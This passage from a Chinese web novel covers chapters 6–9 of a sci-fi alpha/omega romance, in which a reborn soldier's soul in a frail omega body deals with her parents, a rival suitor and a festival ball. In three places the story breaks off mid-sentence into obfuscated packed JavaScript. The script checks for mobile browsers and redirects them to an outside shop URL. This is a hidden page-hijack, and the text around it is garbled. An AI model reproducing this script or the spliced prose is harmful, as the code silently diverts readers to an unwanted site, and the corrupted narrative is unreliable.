“以后只需要看我的眼色,知道吗?我不管你原本的程序是什么,妈妈和爸爸给你的指令是什么,你只能听我的。” 小念高兴了:“我知道了!” 智脑不断出现新消息,乔蕴年看了一眼,无非是乔仲雷和祝心莲轮番消息轰炸让她出来。结果乔蕴年趴着小睡了半个小时,起身后还去浴室洗了个澡,这才慢悠悠开了锁,走进客厅。 看他们两个的脸色,吴峻的消息恐怕还没来得及传到家里。 “你看看你,传的是什么话!吴少怎么可能嘴巴一张,就说要我们家资源产业的二分之一?你简直是胡闹!” 乔仲雷释然了,在按摩椅上坐下来,圆润的啤酒肚因为放松很是富态地对着天花板,“幸好啊幸好,我跟你妈专门跑了一趟。老吴还是希望你们两个小年轻能把日子过好的,还说等吴峻放短假回家,要他领你去参加星兰节舞会。” 祝心莲也松了好大一口气,应和道:“我就说嘛,怎么可能一点情分都没有。” 两个人摆出“哎呀你怎么这么不懂事闹了这么大一个乌龙”的表情,乔蕴年权当作看不见,在心里嗤笑两声。 他们两个最好是旁敲侧击出了一个能让自己心安理得继续卖女儿的答案,而不是蠢钝如猪当面询问“听说你想要乔家的资源产业”。 还有一个问题。乔蕴年不动声色。 这个星兰节舞会,到底是什么? 她得趁没人的时候了解一下。 祝心莲则一合掌,喜上眉梢:“到时候要是被兰尼斯女神的祭司选中,到殿中跳舞,吴家就是事后想要反悔,也下不来台了吧?” 乔仲雷立刻呵斥她的多嘴:“管好你自己!没见识的omega嘴里果然吐不出什么好货,净知道说些不吉利的。就是没被选中,这事儿也已经定下来,不可能黄,知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483131|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗!” 他的厉声让祝心莲的眼眶一瞬间红润起来,她转而用求助的目光去看乔蕴年,希望她能像往常一样为自己出头,但乔蕴年根本没注意到她,坐在沙发上若有所思。 晚餐很安静,内容跟两百年前乔蕴年在学校和部队里吃的差不多,无非是肉类、蔬菜以及一些谷物,但这样的餐食如今只有贵族能够常态化地享用。 “我吃饱了,先回房间休息。” 乔仲雷皱眉,对她的提前离席很不满,但是乔蕴年那副病怏怏的面容放在眼前也是障碍,因此开口道:“晚上记得跟吴峻问好,问问他在学校怎么样,关心关心他。可以的话旁敲侧击一下星兰节那天的安排。” 乔蕴年只微笑,不答应。 等回了房间,她让小念调出星兰节的资料,赤脚盘腿坐在床上读。 星兰节的设立是为六十年前在伽马星域发生的一场小规模战役,起初联邦在总统的带领下节节败退于帝国,是镇守二国疆域交界处的元帅出马,力挽狂澜,才以联邦胜利作结。 读着读着,乔蕴年发现了这场战争的微妙之处。一场冲突而已,何以最终演化成规模如此盛大、须得举国欢庆的节日?原来是“象征爱情与和谐的星兰花开遍伽马星域”的奇景被认为是元帅得到兰尼斯女神祝祷,经此成为节日名称。而无论是巧合还是人为制造,元帅确实借助这场大捷回到首都星,确定了自己实际上的统治地位。 有了地位,便有了节日。老元帅也很懂怎么投年轻一代所好,平民出身反而更知道如何讨好年轻的贵族一代,精心制造了如此多的“传统”节日习俗。 就比如星兰节舞会,选在首都星郊外的兰尼斯祭殿里外。先是在宫殿外跳传统舞蹈,而这翩翩起舞的一对又一对中,其中一方必须得是贵族出身;同样由贵族扮演的兰尼斯女神则遵循神谕——其实就是某种抽签机制——从中选取十多进入殿中接受祝福。 看起来,如果被谁主动邀请,确实意味着什么。祝心莲的话不无道理,被乔仲雷呵斥多少有点遭受无妄之灾。 但乔蕴年也不打算安慰她什么。或许让祝心莲对自己目前的地位焦虑一点,渴求抱团,对她来说反倒是一种好事。 关于目前的这任元帅,乔蕴年还想了解更多信息,但智脑已经闪烁了一段时间。她轻轻挥舞手腕,跟解琤的聊天界面便展现在眼前。 【解】那边已经处理好了,不必担心 【解】耳钉到了,可能需要你当面确认一下信息 【解】自己打耳洞的时候小心一点,我给你寄了药和营养液,根据说明使用就好 与此同时,门锁上的荧光蓝色屏幕响起祝心莲小心翼翼的声音:“念念,快递员已经到家门口了,说有你的东西……” “马上。”乔蕴年穿上毛绒拖鞋出了卧室。 所谓的快递员,其实也是个机器人,只是体积更大了一点而已。乔蕴年不禁出言揶揄悬浮在肩膀上空的辅助机器人:“你们长这么像,这会是你的妈妈吗?” 小念发出尖锐爆破音前,特意离开乔蕴年耳边:“这才不是小念的妈妈!小念就算有妈妈,那也是乔蕴年!” 连祝心莲都被吓了一跳,但她很快便回归正题。知道女儿没有可以互寄礼物的朋友,至少根据多年观察,祝心莲得出了这个结论,默认乔蕴年的所有行为都在她可以看到的水面上,所以在乔蕴年签收的时候,祝心莲时刻注意着亮起的屏幕写有什么内容。 “叮——已确认签收。请核对寄件人身份。” 最后一个步骤,祝心莲上半身探过来。原本就因为控制饮食显的瘦削的身体,简直要拉成细长的橡皮泥。 乔蕴年也没有刻意回避,应该说回避才会招来无限麻烦,反正解琤都已经在她没有告知任何个人信息的情况下将东西寄到她家了,他们关系密切一点对她并没有坏处。 只可惜,祝心莲远不如小念善解人意。她的尖叫声就在耳畔,肆无忌惮刺激乔蕴年的鼓膜,以及一点难能可贵的耐心和包容: “解家人!念念,你怎么会认识解家人!” 小念像是从某一刻起打通了任督二脉,立马变出双手捂住乔蕴年的耳朵。 而这一声尖叫,甚至把露台上品茶闲游的乔仲雷吸引了过来。 7. 第七章 寄件地址是“联邦国立军事学院”,寄件人的姓名则是简洁明了的“解琤”二字。 乔仲雷闻言赶来,都不训斥祝心莲一惊一乍了,整个人几乎要趴在只可收件人指纹解锁的金属色箱子上面,看清楚后惊讶抬头:“你什么时候认识的解琤?他都给你寄了些什么?” “一些只能omega用的东西而已。”乔蕴年轻描淡写,“他是我一个最近认识的朋友。” 虽然刚认识,但已经很“密切”了。密切到想把两个灵魂像拧抹布一样拧到一起的话,还没动作就能因为同源彼此吸引。 祝心莲忽然有点紧张,绞着手问:“所以,念念,你还喜欢吴峻吗?你说过你喜欢吴峻的。” 虽然这个答案,是她一遍又一遍、近乎跪地恳求才求来的,某种程度上是一种挟恩图报,挟的是生养的恩情。 结果,乔蕴年对祝心莲弯了弯嘴角,像是在说“你猜”。 眼底是祝心莲看不见的晦暗嘲讽。 她真的很擅长规避任何不利,只相信自己愿意相信的。 只要自我欺骗女儿也喜欢,就会感到放心和满足吗?这样的妈妈,未免也太廉价了。还不如那个硬要给她穿耳洞、教她怎么更好地做扒手的妈妈。 ……这股思念,真是有够不合时宜的。 更让祝心莲不安的,是乔仲雷的反应。他直接不耐烦地打断她的欲言又止:“干嘛呢!念念喜欢谁,是你能做主的吗?!” 然后,宛如第一次认识这个亲女儿一样,乔仲雷目光灼热,整个人被慈祥的光晕笼罩,“他还知道你喜欢什么、日常用什么呢。没想到啊,解家的儿子待omega能这么精心。” “那我先回卧室了,爸爸。” 小念托着金属箱跟在乔蕴年身后,一人一机器就这样将父母两个落在客厅。 乔蕴年一走,乔仲雷遂在沙发上坐下来,坐不住又起来,踱来踱去的同时脸上弥漫着诡异的兴奋,口中念念有词说着“是解家人”“竟然还有解家”“真是个好女儿”。 祝心莲则凝固在原地,觉得自己好像一下子失去了所有用处——否则她做的决定,怎么会都是错的呢? 念念不是喜欢吴峻、自己想嫁进吴家吗,他们做父母的当然乐意看小辈幸福。至于贪图吴家的财产,更是没有的事,只是借一借女婿的东风而已…… 祝心莲开口:“仲雷,这样好吗?念念不是挺喜欢吴峻。” “你给我闭嘴!解家跟吴家选哪个,就是用屁股想都知道选哪个!”乔仲雷手指着妻子,“我告诉你,你可别掺和进来,坏了念念的好事。” 回到卧室,乔蕴年开启金属箱,里面是被包装完备的黑曜石耳钉,和前世一模一样,非常低调朴素的圆,像是浑浊的泪滴偏斜方向,落在她的耳垂上。 除了定制的耳钉,还有解琤提到的各种药及其说明。解琤没有提到的,是一封长信。 在这个时代,用纸笔创作也是一种奢侈,何况解琤选择的是羊皮纸。两百年前就很昂贵的收藏品,到今天是可以上拍卖会的,而他随便拿来给她写一封信,言辞恳切。 乔蕴年匆匆扫了两眼,无非是告诉她吴家那边有他出面解释,不必挂心,以及叮嘱她打耳洞的时候要小心,她现在的状态属于“身体欠佳”,流的血越少越好,最好可以找专业人士,他很愿意帮她联系。 他倒是知道如何委婉言辞,不去触怒她。只是这股小心,在乔蕴年看来也碍眼得很。 但总比她身边这群不会看眼色、一味将她的耐心玩弄于鼓掌的人要好。早晚有一天,有一个算一个。乔蕴年压下戾气,将信件收进床底的密码箱里。 密码箱里面原本放着一个小徽章,徽章上面烫着交错的雕花弓箭和一个长发女人的剪影图样,一人一箭背后是近似魔法阵的图样。乔蕴年直觉比较敏感,一直没有探索过。 如今也还没到时候,她必须先得确定自己能在这个异时空活下去,再考虑什么秘密组织、什么神秘学。 塞信纸的时候,乔蕴年甚至伸手把小念捞过来。它屁颠屁颠,还以为主人是要跟自己亲密接触一下,结果亲密接触是有了——乔蕴年用衣服把它包裹起来,放在怀里夹着,不让看。 这之后,就是打耳洞了。乔蕴年并不打算笑纳解琤的好意,如此兴师动众多半做不成,她已经准备好工具了。 以防坏事,乔蕴年把小念放到书柜上去,然后干脆地关了电源:“这个你也别看。”谁知道它会不会突然发出噪声,晃动她的注意力。 “主人——”尚未说完的话刹那间变成了未完待续的拖长。 终于可以一个人待着了。 将耳垂揉热,温水清洗过,细长的穿刺针泛着寒光,在乔蕴年看来跟荷叶弯下腰滴落晨露并无区别。 触碰软肉的瞬间,她还以为自己在碰一小块软塌塌的、已经没有生命力的死猪肉。 依旧没有真实感。依旧没有。乔蕴年以为自己选择主动走进宇宙风暴是主动选择一种有尊严的死亡方式,结果如今的活法持久地重创着她,告诉她那种尊严感似乎只是一种错觉。 穿刺针轻而易举拨开肌理,细胞抗拒被分割的心嚣张不过半秒便洞开。乔蕴年发着愣,先是止血,然后给耳洞涂药。 这之后,乔蕴年给耳垂拍了照,严格来说是侧脸到脖颈。 【乔念念】[图片.jpg] 【乔念念】我自己打的耳洞,应该养个一两周就可以了 【乔念念】毕竟以我的身体素质,恢复能力不会好到哪里去的 发完消息,她总算让小念开机。小机器人围绕在她的左肩膀周围长吁短叹,好像觉得很疼似的“嘤嘤”哭泣。 乔蕴年拍一下它:“真吵。有这个时间哭,不如帮我收拾盥洗室。”自从她来,就不太让佣人进自己的私人空间了,能亲力亲为的都自己做,表面上的理由是锻炼身体素质,其实跟狮子巡视领地不容侵|犯一个原理。 小机器人忙不迭往卫生间飞去,解琤的消息也很快到了。 【解】是我失言,对不起 【解】别生我的气 还是这副被捏住后颈的兔子样,他在别人面前能故作矜贵又如何。乔蕴年的心情得到微妙的满足,回复他“我没有生气,你多想了”,这之后便躺倒在床上,筋疲力尽,渐渐失去意识。 吴家那头诡异的平静,至少乔仲雷这几天都沉浸在女儿脑袋突然灵光起来、能聪明到两头吃上面,祝心莲则愈发沉默,偶尔向乔蕴年投去的视线夹杂着疑惑、不安,还有畏惧。 乔蕴年要的就是这个,她希望祝心莲能害怕自己。因为害怕,所以忌惮,不会再把她当作可以任意打扮的布娃娃。 或许她有点怀疑,毕竟自己的女儿一步步完成了性格的转变,变成套着一层热壳子的冰块,这还是她的念念吗? 但祝心莲太容易没有安全感,所以乔蕴年一旦若无其事叫她“妈妈”,边眯起眼睛笑,她就又开始欺骗自己了。 “哎。念念吃这个,对身体好。” 这就是乔蕴年驯养她的办法。驯养这个可怜的、但对死去的“乔蕴年”来说或许更可恨一点的女omega。 他们这边很安定,吴峻倒是私底下给她发了不少信息,谩骂和骚扰并重,时而爆粗口说“你他*胆子什么时候这么大了,敢对小爷我动手”“你现在不像死鱼了,像贱货”,时而晃曳心神道“你知道星兰节我要放假吧,你们家就打的这个主意”,像是神经错乱。 一旦神经错乱,就容易做出匪夷所思的行动。看来所谓的“男alpha”也不过如此。 【乔念念】对,我们就是打的这个主意 【乔念念】我会去的,你当然也可以带雅妮卡去,她恢复得应该不错吧? 【乔念念】跟你一样,A+级别 【乔念念】我们匹配度是D,你们的匹配度是多少,我还不知道呢 吴峻挠了一下脑袋,手腕好像也跟着乔蕴年的一条接一条消息淌出血。 没有理由不脚踏两条船,对吧?他吴峻是从小风流到大的,这次的两个人还都知道彼此的底细,一个都喊正夫人了,一个是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483132|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里人安排的妻子。 【傻缺】好奇?星兰节舞会那天告诉你 【傻缺】在家里等着 【傻缺】星兰节那天那么多人,你不会再想着跟我动手了吧 乔蕴年乐不可支,笑得躺倒在软沙发上。沙发开始自动给她按摩无力的肌肉,而乔蕴年一时间半点可供支撑着站起的力气都没有了。 “傻缺”甚至还是原本的“乔蕴年”私底下取的备注,全称是“吴峻(有点像傻缺)”。“乔蕴年”是真的觉得吴峻脑袋不好使,也是真的在捏着鼻子努力靠近他。 傻孩子。乔蕴年仰着头,如是心想。 在此之前,“乔蕴年”并没有在星兰节上收到过邀请,每每都是在贵族专用的休息区通过电子屏实时看着。她并不羡慕,只是疲于双亲的执着,事先练习、装扮自己,然后在日记里写“我已经预料到结果……我真的不知道这一切有什么意义”。 答案是,“没有意义”。 尤其是这次星兰节,连乔仲雷都诡异地加入了打扮女儿的行列里。作为不事生产的旧贵族,他只需要定期前往小行星视察,其他时间都用于喝茶和各种社交活动,再反过来怪罪妻女是两个没用的omega。 但很明显,今年的他把精心装扮乔蕴年当作最重要的社交行为,堪称和颜悦色,父爱如山一般倒下来。 “念念自己愿意打耳洞,你就让她打去!这不是养得挺好的,叫什么叫,就知道叫!福气都给你叫没了。” 祝心莲无措地捂住嘴,默默去长桌另一头抽了纸巾擦拭泪滴。她是真的哭了,仅仅因为乔蕴年自己私底下打了耳洞而流泪,想着“怎么可以瞒着妈妈”“难道我会害念念吗”。 乔蕴年仅仅冷眼旁观。 她可没有原身那么心软,如果祝心莲连这点小事都不能习惯,等到更可怕的事情降临,她恐怕会晕死过去、一病不起。 她开始自己挑选长裙。“乔蕴年”衣柜里的裙子都是典雅端庄的颜色和款式,而她前世就没有穿过裙子,倒是跟解琤闹着玩儿时逼他穿过,因此最后选择了一条款式最方便行动的礼服裙,橄榄绿色。 “念念,这条太素了,一点年轻人的朝气都没有。”乔仲雷皱起眉,却在看到乔蕴年那张笑容不变、像是用胶黏上去的脸皮后相当微妙地改了口径,“没事,可以多搭配点饰品。你自己的梳妆盒要是不够用,还可以用妈妈的。而且,你不是最近打了耳洞吗?你妈有很多耳坠。” 乔蕴年早有准备,天真道:“可是爸爸,这边我要戴解琤送给我的耳钉。我想让他第一眼就能看见,为我高兴。” 乔仲雷倒是没有想到这一层,不禁在心里面感慨她也是真的懂事了:“别说他为你高兴,我也为你高兴。” 祝心莲则对乔蕴年不够安分守己感到紧张,在她的预想中,乔蕴年挑动一个结婚对象后应该把心思都花在对方身上,尽快把自己塞进去,而不是三心二意。 “你有没有跟他说清楚,你到时候要跟吴少跳舞?我怕吴峻那边——” “妈妈,解琤早就知道我们订婚了呀。” 所以,这对她跟解琤有来往难道有什么影响吗? 乔蕴年笑盈盈的,像是真心为祝心莲的担忧感到困惑。 乔仲雷越来越不爱听妻子的话,粗鲁地接上话道:“那又怎么样,念念可以跟不同的人跳两支舞,那个吴峻不也是吗?他要是敢胆大包天到把那个平民omega带过来,念念还得为了他在旁边干巴巴看着?” 他越说越兴奋,“也是时候让吴家看看,我们念念可不是便宜货。解家那个精神力是两个S的alpha,不也巴儿巴儿地送礼物过来?” 随着乔仲雷越说越多,乔蕴年脸上的笑容也渐渐淡了。他一静下来,乔蕴年便淡淡开口: “我便宜,难道不是因为爸爸地位不如从前的原因吗。” “你明明知道别人轻贱的是整个乔家。” 不会说话就闭嘴。 乔蕴年收起礼裙,“我得回房间吃药了。”说完淡漠地撇下二人,独自离开。 8. 第八章 直到星兰节前一晚,乔蕴年都还在卧室里跟小念一起练习传统舞蹈。 是非常简单的宫廷舞,甚至不太需要用到腰部的力量,仅仅是手和脚在作用的双人舞,偶尔舒缓地绕出舞伴的臂弯转个圈而已,但她依旧累得够呛。 往往一支慢舞蹈尚未结束,乔蕴年便已经汗水淋漓,气喘不止的同时大脑连同眼睛一起眩晕,陷入雾水朦胧的雨季,稍不留神就会自己绊倒自己。每到这时,小念便会及时变出金属色的机械手,稳稳地把她接住。 可星兰节舞是由一曲慢舞蹈和快舞蹈组成,这样才算是完整的一支。乔蕴年躺在小机器人并不柔软的手臂里,觉得前世今生加在一起,自己为了跳舞而努力的事实太过可笑。但她知道,如果连如此简单的社交舞蹈都不能完整地顺下来,她还能做什么。 汗水将头发和脸颊黏腻在一起,乔蕴年满脑子都是粗重到能把整个卧室填满的呼吸声,皮肤苍白得几近透明: “下次不要接住我,就让我摔倒吧。我的房间铺满了地毯,就是为了现在。” 小念看着淌到机械臂上的汗水,豆大的好几颗:“可是——” “没有可是。你只能听我的,否则从现在开始把你关机。” 小机器人闭嘴了。它静静地跟随在乔蕴年左右,看着她在床铺和书柜之间不厌其烦地回旋、回旋,睡裙无重力般浮起,就像失控的八音盒,而她口中的吐息无疑是渐渐变调的音乐。 终于,“八音盒”彻底报废,她因为眼睛暂不能视物摔倒在地上,很沉重的一声。 注视着天花板,失败的舞者开始狂笑起来。 这就是现在的她啊……这就是现在的“乔蕴年”。 对别人的杀意,对自己的杀意,都在这一刻抵达顶峰。 但是,还不能放弃。 至少她还活着,至少她的仇人们还活着……现在选择死亡,没有任何意义。 【解】你会参加舞会吗?我们可以见一面 【解】或许我的发现可以帮助到你 ——还有可以前进的空间。乔蕴年在黑暗中笑了,回复解琤“好的,到时候见”。 就这样独自跳到深夜,肌肉酸疼到可以板结成过期的果酱。乔蕴年洗了澡,吃了药,让小念给自己按摩,渐渐失去意识。 睡着后,乔蕴年的世界是一片和死亡无异的寂静。 次日,乔蕴年在小念的帮助下勉强穿上礼服裙,随后吃了止疼、缓解肌肉酸胀以及促进精神力稳定的药物,抑制剂则包装进皮革小包放进口袋里,连同那只危险的钢笔及其笔帽里藏着的刀片,沾染血液有点发钝。 但没关系,乔蕴年估摸着下一次也是用在吴峻身上,准确来说是“吴峻相关人士”。 alpha的体质真好啊,不愧是两百年后的新人类。乔蕴年注视着车厢外的星河,就像注视纵横交错的血管,就这样将血液强劲地输送给心脏。乔蕴年追崇力量,记忆里吴峻迅速到骇人的愈合速度结合眼前的光景,她很难不迷恋。 对了,乔仲雷提过解琤的精神力,是SS。能做级长,仅是出现就能震住整整一个年级的兽群,没有点真家伙,怕是会被啃到骨头都不剩下吧。 A+尚且具有非人感,双S级别的alpha,愈合速度只会更加恐怖。 乔蕴年撑住下颚。 要不要试试看拿他做点无伤大雅的试验呢?测试一下受伤后的愈合时间。 具体是什么时候,在哪里,都是问题。 在这时,眼前出现的新景色短暂地驱散了乔蕴年的思绪。她趴在窗边睁大眼睛仔细往外看的样子多少有点活泼的孩子气,让夫妻俩不约而同笑了。 吸引住乔蕴年的,是漫天的飞艇。被日益先进的战场淘汰下来的老家伙,拿过来废物利用装扮得花花绿绿。艇身星兰花图样连成海,慢悠悠地低空飞行,还从舱门垂下长长的糖果色绳梯,应和着彩带投影。 离开这辆接送专线的一瞬间,热烈的欢呼声犹如排山倒海,让乔蕴年的脚步迟疑了一下。 “念念才十九,每年都有新鲜感也正常。”祝心莲挽着她的胳膊,“我们的‘天桥号’呢?” 乔仲雷:“着急什么,先打声招呼。……看,来了。” 乔蕴年一下子就看见了一行人中的吴峻,穿着改良燕尾服,比起保守优雅更多几分奔放热情的民俗风味,衣襟上还夹着一枝星兰花。 乔仲雷当然是第一时间上前寒暄:“老吴!你说我们大概率能碰见,我还不信会这么巧呢。” 被他称作“老吴”的,是个留着山羊胡的中年男人,屹立姿态依稀看出年轻时的俊朗和风情,不然也不会遗传给吴峻一张好脸。 而在他身边的,是另一位温润内敛的男性,穿着翡翠绿的拖地长——裙?还是长袍?总之在他身后专门有人帮忙提着,还是两个宛如幽灵般猫着腰的佣人。 乔蕴年乍一看,还以为自己眼花了,花了几秒钟反应过来,这是吴太太,吴峻的爹,“乔蕴年”在日记里提到过的。“一个看上去很好说话,其实非常刻薄不饶人的omega”,乔蕴年一个字都没有改,是原身的原话。 他正在越过人群审视自己,放在肥皂剧里是典型的恶婆婆挑剔儿媳妇戏码。 乔蕴年对此浑然不在意,因为她为了忍笑,就已经用尽所有注意力。 真是来到好时代了,前世她可见不到这样的场景。男人——男人可是各行各业的中流砥柱,尤其是战场,更少不了这个被认为身体素质上占据优势的性别。他们不可能被大规模地束缚在室内,不可能为了一点可怜的资源用最敏感、最不体面的姿态勾心斗角。但是如今可不一样,乔蕴年可以尽可能多地观赏无数个在前世绝对不可能发生的场景。 刚好祝心莲在对她使眼色,频繁到眼皮可以变成蝴蝶飞走。 乔蕴年施施然走上前。吴峻正要勉为其难摘下衣服上的蓝色星兰花,结果乔蕴年忽略他,错身而过—— “吴太太今天可真是光彩照人,美丽不可方物啊。难怪我看吴峻都顺眼不少,原来是有您在这儿的缘故。” 乔蕴年还挺愿意顺势牵过他的手,在手臂上施以轻盈一吻,美名其曰绅士精神。 可惜她也是omega。 如果是alpha就好了,她将立于不败之地,面上显示尊重,在心里感谢以他为首的一群人甘心退出掠夺资源的第一梯队,毕竟蛋糕总共就那么大。 洛根·杨有点意外,一双略带沧桑感的绿眼睛愣怔片刻。 这丫头什么时候这么灵活了? 然而看到乔仲雷和丈夫寒暄到分都分不开的殷勤模样,洛根眸底闪过一丝厌恶。 无非是后知后觉继承了父亲的油嘴滑舌,还有无能,勉勉强强松口答应这门亲事是他平生做过的最错误的决定。 他冷淡道:“你过奖了,乔小姐。”然后一味吩咐吴峻,“把花送给乔小姐。” 没有料想中那么不情愿,吴峻送得还挺顺手的,不忘标榜自己:“这可是整个花园里最新鲜的一朵。你拿着,拿稳一点,没有它你进不了舞会场地的。” 星兰花外形酷似普通兰花,只有蓝色和紫色两种颜色,内侧自然生长出闪粉。它只在极为特殊的土壤上才能生长,并且一长就是铺天盖地长一大片,蓝紫色的浪潮远远地泛起晶亮的光芒。驾驶星际飞船靠近花海的异乡人,还以为自己捕捉到了又一条银河。 老元帅将星兰花带回,想方设法移植成功,当下已经成为星兰节绕不开的习俗之一:若想要邀请舞伴,必须进入祭殿后的花园采摘一朵作为凭证。 大多数贵族子弟都不会亲自前往,会另找人走一下流程。吴峻也不例外,原本想着找个信得过的佣人代劳,但既然雅妮卡提议了,那他就不准备再为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔蕴年轻叹:“家教家教,言传身教。你们一家人,可真是够离奇的。” “离奇?呵,乔小姐,说话前要过脑子。” 结果乔蕴年慢条斯理掐去长茎,手法像是硬生生掐断谁的脖颈,然后微微偏斜过脸,自己给自己戴花。 星兰花闪烁着光,被橄榄绿色恰到好处地托起来。 随后,乔蕴年抬眸看人,和娇艳得仿佛依旧活着的花朵气质大相径庭,那股夹杂着血和硝烟味道的压迫感开始不遗余力地漫过对方。 洛根只觉得动弹不得,与此同时控制不住感到心惊:她什么时候拥有了这等气势? “一定要我把话说得很难听吗?”乔蕴年相当露骨地上下打量洛根,“是您该过一过脑子,想想您和丈夫年轻时的往事,别误伤到自己。” 洛根脸色一变。老吴年轻的时候比吴峻还要混账得多,他当时一哭二闹三上吊,还打小三打出人命了,是靠家族势力才把事情压下去。 吴峻对这些往事一无所知,毕竟他是吴家大好前程的享用者,父亲和爹地也不会让他知道这件事。 眼见洛根面色难看起来,他的第一反应是维护家里人:“乔蕴年,适可而止,不要仗着我对你容忍度变高欺负我爹!” 乔蕴年又是一声意味不明的笑:“看来大多数人都会遗忘来时路。……吴峻,反正你等会儿要跟雅妮卡跳舞,我们速战速决吧。” 现在吴峻的脸色也不好看了,乔蕴年未免太直白了,血淋淋地,这让他把脸往哪里搁。 “还不来吗?” 回过神来,乔蕴年已经准备进入外圈。吴峻忙不迭要跟上,临走前不忘做个大孝子,跟洛根告别,乖乖说“爹地再见”。 殊不知,他爹地都要把牙咬碎了。 9. 第九章 “那我们就在‘天桥号’上等你们!” 乔仲雷站在吴家的话事人身旁,喜气洋洋对二人挥手,“年轻人不趁着放假多玩点儿干什么?又不着急走。” 祝心莲笑意盈盈,披肩松垮地搭着,安静地做一株漂亮的观赏花。 乔蕴年自然地挽住吴峻的胳膊——既然是面对面演戏,当然得齐全一点——笑得很是灿烂,就好像刚才的龃龉并不存在。 她也根本没往心里去,只要想到吴太太也不过是拣些从吴先生指缝里漏出来的残羹冷炙装得高高在上,心情就好像是听到笑话一般。 她绝不会一直这样下去的。“一个人在任何境遇里都可以有选择,永远不要幻想自己真的走投无路,然后放弃一切”,贫民窟的女人如是告诉过乔蕴年。所以她绝不会满足于现状,满足于被施舍的安宁止步不前。 “哎呀!它怎么往我眼睛里飞——” “宝贝不怕,都是假的呢。” 在乔蕴年前方,身形娇小的omega一下子钻进舞伴怀里,两个人嬉笑着、嗔怪着,享受着这份真心相爱的甜蜜。 吴峻有点尴尬,他跟乔蕴年确实订婚了,但可算不上恋人,关系有待商榷。 参加舞会前,父亲和爹地就分别找到过他,私底下谈论乔蕴年和整个乔家,他们态度暧昧不定,但毋庸置疑偏向消极的一面。 就在这时,光线扫过乔蕴年头顶的花。一瞬间有闪粉蝴蝶的投影从蕊心飞出,幽蓝色的蝴蝶翅膀刮动四周空气,带着象征着神秘与幻梦的荧光,似有细碎晶体簌簌落下,真实得让人不自觉抗拒它的飞近。 但乔蕴年没有眨眼,用饶有兴致的目光看着蝴蝶落进瞳孔里。这种占据绝对主体的、欣赏美的方式,使得作为旁观者的吴峻一时有些发怔。 “该走了,吴少。” “噢……来、来了。” 走进场地,吴峻才发现两个人的姿势无意中换了主动与被动方,这次是他下意识挽住了乔蕴年的手臂。 乔蕴年忙着环顾四周,谁叫这一切对她来说太过新奇呢。整个露天场地是以祭殿为中心,祭殿又是以兰尼斯神像为主体,眼眸低垂,带有包容万千的慈悲与宽厚,仿佛在为什么叹息;殿身带着古文明的古拙神秘,修建得恢弘壮丽,远远看着像巨大的鸟类生物残骸。 除了缓慢前行的飞艇,乔蕴年还看到若有若无的看台。那上面的人是真实的吗?她只觉得这里热烈得混乱、迷离。 吴峻:“那里是平民休息娱乐的看台……其实不应该说‘平民’,被人听见会被抓小辫子的。看台下面是更衣室和盥洗室,你需要先去上个厕所吗?” 触及乔蕴年“你在开什么玩笑”的表情,他掩饰性地摸了摸后脑勺,有点窘迫,“不上也行,那就开始……跳舞吧?” 周围的女女男男,不论第一性别是什么,都已经动起来了,像停不下来的旋转木马。乔蕴年还看到几只见不到主人的皮鞋,把鞋子都跳掉了都不捡。 繁华看过,乔蕴年拉过他的手臂:“我不是第一次来这里,你不用像主人一样跟我介绍清楚。” 这句话只有她自己知道究竟有多此地无银三百两,映在吴峻耳边多少有点不客气。 踩在第二个乐段开头的第一枚音符上面,乔蕴年很满意地想,这样可以少跳一个乐段。进场的时间卡得真好。 吴峻抓住她的手腕,几乎是稍一用力就让乔蕴年感觉到了疼痛。 他可不是好说话的人,在原身的日记里,吴峻是个傲慢且自大的alpha,明明根本看不上她这个精神力低弱的omega,却又认为她从一开始就痴心一片。 之前态度有所缓和,也是因为他喜好有实力的野蛮女友那一款,但是喜欢“野蛮女友”可不意味着他脾气就有多好。一旦觉得身份地位冒犯,吴峻可以毫无顾忌地摆脸色。 “乔蕴年,我都没有把你那天做的事情告诉父亲和爹地。你刚才出言冒犯我爹地,我也没有对你说什么。” 他堪称粗鲁地拉住她,在力量上轻而易举夺得主动权,沉声道,“是你和你爸爸妈妈非要你嫁进来,不是我,知道吗?你多少应该把尾巴夹紧一点。” 这是在威胁她呢。暴力胁迫在两百年后的世界更常见了,甚至渗透在了流行文化里。霸道alpha和娇弱omega先婚后爱的故事屡见不鲜,里面就有不少肢体冲突。 只是,吴峻怎么能断定,她想要对他做什么的决心比他对她要弱呢? 吴峻得顾忌点什么,她不是。如果具备相应的力量,乔蕴年非常愿意直接在这里将他的脖颈拧断。乔蕴年可从来不在乎什么“留条后路”“家族声誉”,以吴峻的死亡结束这趟短暂的异世界之旅还不错,虽然不是最完美的结局,但她也可以发自心底笑起来。 在乔蕴年不动声色打量的间隙,吴峻无限感到脖颈一凉,好像被危险人物盯上一样。 